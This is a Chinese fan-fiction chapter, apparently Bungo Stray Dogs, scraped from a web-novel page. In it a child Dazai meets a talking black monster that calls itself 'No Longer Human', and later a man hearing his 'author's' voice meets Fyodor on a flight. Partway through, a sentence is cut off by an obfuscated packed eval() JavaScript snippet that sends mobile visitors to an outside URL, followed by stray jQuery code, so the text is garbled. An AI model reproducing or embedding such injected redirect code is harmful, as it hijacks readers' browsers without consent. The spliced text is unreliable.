那天并不是普通人口中的好天气，至少所有当事者都表示自己没有看到太阳。尽管在后来，在有关人员查询当天青森的气象时，报告上表明了那是个四月罕见的大晴天，天空中甚至找不到一朵可以漂浮的云。
但所有人却都众口一词地表示，记忆里存在的只有灰白色的天空。就像是已被云层给盖满，当你在庭院里走动时，绝对没法看到自己身前的影子。
那时，11岁的太宰治就在院子的秋千上打着瞌睡。
他的睡眠很浅，一贯如此。所以他才能听到那个与众不同的轻柔窸窣声，那声音像是纱布擦过玻璃。
沙沙沙。
太宰治一下睁开眼睛。他抬起头，朝声音传来的位置看去，正巧看到一只站在墙头的黑猫。
那是只纯黑色的猫。真的是纯黑色，就连鼻子和内耳也一样，都是反射不出任何光泽的黑。
它身上唯一并非黑色的地方就是眼睛——与浑身截然相反，是连虹膜与瞳孔都看不到的白，让人想到白内障患者，或者是目盲的生物，甚至让人怀疑它是否真的存在“眼睛”。
那天的黑猫没有留下影子，这并不奇怪。因为当时“并不是”晴天。
“早上好，太宰。”
猫说。
一只猫突然开口说出了人话，这自然是件很令人惊讶的事情，更何况这只猫还知道太宰治的名字。但最令人惊讶的地方在于，太宰治当时对此没有任何诧异的心情，就像这件事的发生十分理所当然一样。
“早上好，猫。”
太宰治说。
“我不是猫。”
“猫”纠正了对方的语病。
它说：“我是怪物。”
太宰治打量着对方。
如果说这团漆黑色的轮廓是怪物，那也是种与猫极像的怪物，以至于能让人在乍一眼看过去时自然而然地建立起名为“猫”的印象。
但要是仔细观察，就会发现对方确实与猫有着极大的差异，更像是个在极力模仿猫类的怪异生物，在极其类似家猫的表面下，各种细节散发出“用力过头”的笨拙。
比如它的黑色。
黑得足以抹消立体感，黑得让人感觉它是个出现在三维空间的二维生物，一个世界的豁口，一块污渍或者一个黑洞。地球上真的存在拥有这样颜色的生物吗？
“哦，至少你看上去很像猫。”
太宰治说。
他收回了目光，握着秋千的缆绳，手腕微微用力。于是秋千摇晃起来，在向下垂落的脚尖在最低点轻轻划过地面时，孩童给出了这句漫不经心的夸奖。
怪物那条大概是“尾巴”的东西轻轻摇晃。
“谢谢。”它说，“你看上去也很像人。”
秋千晃动的幅度越来越大。太宰治的腿跟着轻轻摇晃了起来。
“因为我就是人类。”
人类的孩子这么说。
秋千晃动幅度越来越大。他的发梢在气流中呈现为浮动的姿态，怪物的目光似乎被这种晃动所吸引。不过这种连虹膜与瞳孔都没有的生物，存不存在“目光”可能都是个问题。
“可他们和你不一样。”怪物说，“你是明白这一点的。”
幅度越来越大。
“我还没长大呢。”
太宰治的声音被风拉长了：“很正常啦，怪物先生——”
他表现得很笃定。
每个小孩子大概都想象过自己的特殊。有的格外富有想象力的小孩甚至会突然觉得自己是精灵或者仙子，认为自己某天会直接从人类的社会中飞走，飞到传说中无忧无虑的仙境中。
太宰治知道这一点。除此之外，他还比其他这个年纪的孩子要知道得更多。
比如，他知道自己会长大。
“等我长大后，就会变成正常的大人了。”
他用百无聊赖的语气说。
——比如，他也意识到了，在更微妙、更难以言说的地方，自己与其他人类有着“切切实实”的不同。
“你在骗我。”怪物说，它好像知道太宰治的心里正在想什么，“你知道你的不同不是这个。它就像怪物和猫的区别那样。”
秋千荡起的高度已经达到了墙头。
一个危险的高度。所以人类可以和怪物在同一水平线上看着彼此。但这并不能让太宰治看清对方身上更多的细节：入目的依旧是黑与白的色块，没有更多的修饰。
那确实是个怪物，有着猫的形状，但和猫截然不同。
“喔。”
太宰治偏了下头，似乎突然对这黑白的色块有了好奇。他说：“那你觉得我是……”
荡起的秋千又落下去。
“怪物。”
怪物这样回答：“我们是同类。”
秋千的幅度已经到了危险的地步，几乎平行于地面。太宰治紧紧地抓着绳子，有那么一个瞬间，他看上去像是要从秋千上摔下来。但秋千很快就又荡回来，这次太宰治所处的位置甚至比墙头还要高。
他向后仰着脸，以此注视这漆黑的生物，然后笑起来。
好像对方给出的答案特别有趣似的。
“这样啊。”
他说：“但我不相信你，怪物先生。”
但这次怪物没有开口。它只是静静地、静静地看着太宰治，看着他继续玩这个危险的秋千游戏，看着他一次比一次来到的位置更高，像是要飞起来的鸟。
如果他松开手，估计会真的和鸟一样，就这么飞出去。
“你会找到证据的。”它在一片寂静中开口，给人的感觉像是在此之前已经沉默了一个世纪，“那天我会回来看你。”
太宰治侧过头。他的脸上分明地浮现出不相信的神情。
“看我。”他重复了一遍这个词。
怪物似乎做了个点头的动作。
然后他们一同沉默。在沉默中，秋千还在越荡越高，直到它最终逼近了某个点，给人的感觉像是再也没法继续上升了。
“你还没告诉我你的名字。”
太宰治突然开口。
说这话时他们刚好再次擦肩而过。
怪物沉默地注视着这个“人类”：他脸上的笑容已经消失了，取而代之的是一种对这个年纪的孩子来说很罕见的茫然，甚至有点儿接近忧伤。
“我想，我也许没有资格使用那个名字。”
它说：“但既然你问我……”
“人间失格——如果非要称呼我的话。”
这便是他们那天最后的对话。因为下一秒，太宰治的母亲就走进了院子，为自己家的孩子荡秋千荡到了如此危险的高度而惊叫起来。
她赶紧让秋千停下，然后把太宰治从秋千上面拽下来，紧紧地抱在怀里。太宰治在她的怀中眨了眨眼睛，虚心地接受母亲带着担忧气息的责备，同时用余光去看那个墙角。
那里什么都没有。
就像是某种幻觉。
……
“说句实在话，我的幻听症状真的对我的心理状态造成了非常大的影响。”
在飞往青森的飞机上，夏章雾先生正向坐在自己隔壁的一个陌生俄罗斯人用中文大倒苦水，说着自己近一个月以来的苦恼。
他们同样从伦敦出发，巧合地乘了同一班机然后又转了同一班机。夏章雾被这缘分感动得热泪盈眶，当即就把这位先生当成了倾倒情绪垃圾的垃圾桶。
“我举个例子好了：相当于从上个月开始，你就能听到上帝在你耳边絮絮叨叨。而他老人家念叨的内容是要你去拯救世界。如果你不答应，他就在你耳边一直讲，一直讲，一直讲……”
他喝了口杯子里的水，发出绝望的叹息声。
“连上厕所时都这样。”他说。
隔壁的俄罗斯人很专注地听着。他是个相当合格的听众，并没有表现出对这种荒谬说法的任何怀疑，甚至还点了点头。
“听上去确实很糟糕。”他说。
“是啊。”夏章雾用悲戚的语调重复了一遍，“真糟糕。”
他又喝了一口水。
“这是污蔑！”
在吞咽凉水的同时，他听到一个活泼的中性声音在耳边抱怨：“我可没在你上厕所时念叨，我只是在你睡觉时多念叨了两句，仅此而已。不过话又说回来——你怎么到现在还不相信我是你的作者？”
“谁会信这种胡话。”
夏章雾朝虚空竖起一根中指，面无表情地回应道：“我宁愿相信你是个超级厉害的异能者，好吗？”
异能，他所在世界的一种特产。
其种类相当丰富，上下限都十分离谱，你能想到的一切不合理现象都能用异能解释。前些年异能者们还轰轰烈烈地打了场仗，差点把彼此的狗脑子打出来。
作为一名伦敦居民，夏章雾认识很多脑子有病的异能者。他觉得这个画外音也是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135970|164449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其中之一。
“可我之前都在你面前表演过预言了。”
画外音说。
“区区这种事情，异能力又不是做不到。”
“我还让你通过一系列巧合免费拿到了这次飞机的机票。”
“区区这种事情，异能力又不是做不到。”
“我还可以告诉你，你在未来其实和你身边那个俄罗斯人谈了恋爱。”
“区区……咳咳！不是哥们，你神经病吧！”
夏章雾差点被水呛到。他飞快地看了眼自己身边的俄罗斯人。对方似乎对他和空气的自言自语非常感兴趣，正用他的红眼睛盯着自己。
夏章雾被盯得浑身发毛。
当他思考起自己要不要立刻换个座位，免得被诡计多端的男同盯上时，那个强忍笑意的画外音才响了起来。
“我吓你的。”它笑嘻嘻地说，“你们未来其实是同事关系。”
——有那么一瞬间，夏章雾觉得如果这个画外音有实体的话，他肯定会往上揍一拳。
“真是的。”
可能是为了不在未来被揍，画外音突然转移话题：“早知道要说服主角这么麻烦，我一开始就应该设定一个不会怀疑这种事的主角。”
“能够轻易相信这种事的人。”
夏章雾虚起眼睛：“智商也根本不足以承担拯救世界的工作吧。”
到底得多好骗，才能毫不怀疑地相信一个突然出现在自己耳朵里的声音，并全盘接受“世界其实只是一本书”“我是被创造出来的书中角色”“我的存在意义就是作为主角，勤勤恳恳地为拯救世界打工至死”这一系列无厘头设定。
反正他宁愿相信是有异能者闲得发慌，想要拿他恶作剧——虽然概率同样很小，但总比“一觉醒来后发现自己是小说主角”的可能性大得多。
“您现在正和那个声音聊天？”
俄罗斯人似乎有些好奇地问。
“呃，是啊。”
夏章雾用微妙的眼神看了眼他，考虑到这或许是自己未来的同事，最后耸了耸肩，还是解释了一句：“就上个例子而言，那个声音正尝试说服我就是他的天使，而我正尝试说服那个声音他根本不是上帝。”
对方以严肃的态度微微颔首。
“所以您的说服过程有什么进展吗？”
他问。
毫无进展。
夏章雾很想这么说，但在画外音的吵吵嚷嚷下，他还是不得不把他们最后达成的协议给说了出来。
“哦，我们成立了雇佣关系。”
故事的主角摇摇头，由衷地叹了口气，他对俄罗斯人真诚地说道：“它负责危言耸听，我负责调查和解决危言耸听的内容——如果那是真实的话。很合理，除了缺少工资以外。”
这也是他为什么还是坐上了这次的飞机。这个古怪的画外音在上个月起就对他翻来覆去地说过了好几遍：一个危险的现象正在日本发酵。
“虽然只是主角的新手任务，但如果你不去阻止的话，这个世界就要出大问题了。”当时它是这么讲的。
夏章雾对此唯一的感觉就是“世界真脆弱”，但他的确不敢赌这个可能性，尤其是在画外音之前已经给他展示了大预言术的前提下。
就算是被骗，他也只能老老实实认栽。谁叫他的确是个热心善良的人？
耳边的画外音小声地骂了句“真不要脸”。
夏章雾当作自己没听见。
“啊对了，我突然想起来，我好像还没自我介绍。”
他假装自己不知道画外音的念念叨叨，对这位坐在身边的旅客笑了笑，伸出手：“你好，我是夏章雾，夏天的夏。职业是教授，研究人类学的。你呢？”
对方眨了下他酒红色的眼睛，眼中的情绪——是诧异吗？不过好像没有太多掩饰的意思。
“在下费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。”他同样微笑，随后伸出手，“一名雇佣侦探，您叫我费奥多尔就行。”
夏章雾表面上十分严肃地点头。
——这名字还挺长。他想，既然是以后要当同事的人，哪天把他的名字念错就尴尬了，幸好只要念前面的四个音节就行。
“很高兴见到你。”他说。
这位来自俄罗斯的侦探视线在他的脸上停留了三四秒，最后才挪开。他的声音很慢、很轻：
“是啊。很高兴……能见到您。”